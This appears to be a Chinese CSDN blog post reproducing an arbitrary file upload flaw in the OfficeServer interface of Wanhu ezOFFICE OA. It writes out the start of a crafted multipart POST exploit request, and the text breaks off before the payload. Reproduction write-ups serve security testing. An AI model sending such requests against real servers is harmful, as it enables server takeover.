万户ezOFFICE OfficeServer接口任意文件上传

最新推荐文章于 2024-08-10 15:40:03 发布

今天晚上早睡觉

最新推荐文章于 2024-08-10 15:40:03 发布

阅读量114

点赞数

分类专栏：漏洞复现文章标签： web安全

本文链接：https://blog.csdn.net/weixin_43567873/article/details/136468986

版权

漏洞复现专栏收录该内容

361 篇文章 141 订阅 ¥9.90 ¥99.00

订阅专栏

超级会员免费看

本文详细介绍了万户OA软件中OfficeServer接口存在的任意文件上传漏洞，攻击者能够利用此漏洞上传任意文件，对服务器安全构成威胁。通过构造数据包并验证上传文件路径来复现漏洞。

摘要由CSDN通过智能技术生成

漏洞描述

万户OA（Office Automation）是一款企业级协同办公管理软件，旨在为企业提供全面的办公自动化解决方案。万户ezOFFICE OfficeServer接口存在任意文件上传漏洞。攻击者可以通过此漏洞上传任意文件到目标服务器，导致攻击者可获取服务器控制权限。

漏洞复现

构造上传数据包。

POST /defaultroot/OfficeServer HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36
Content-Length: 583
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryk7uGGNUWdMDRBbBV
Cookie: OASESSIONID=x; LocLan=zh_CN;

------WebKitFormBoundaryk7uGGNUWdMDRBbBV
Content-Disposition: form-data; name="value1"

{"OPTION":"SAVEPDF"}
------WebKitFormBoundaryk7uGGNUWdMDRBbBV
Content-Disposi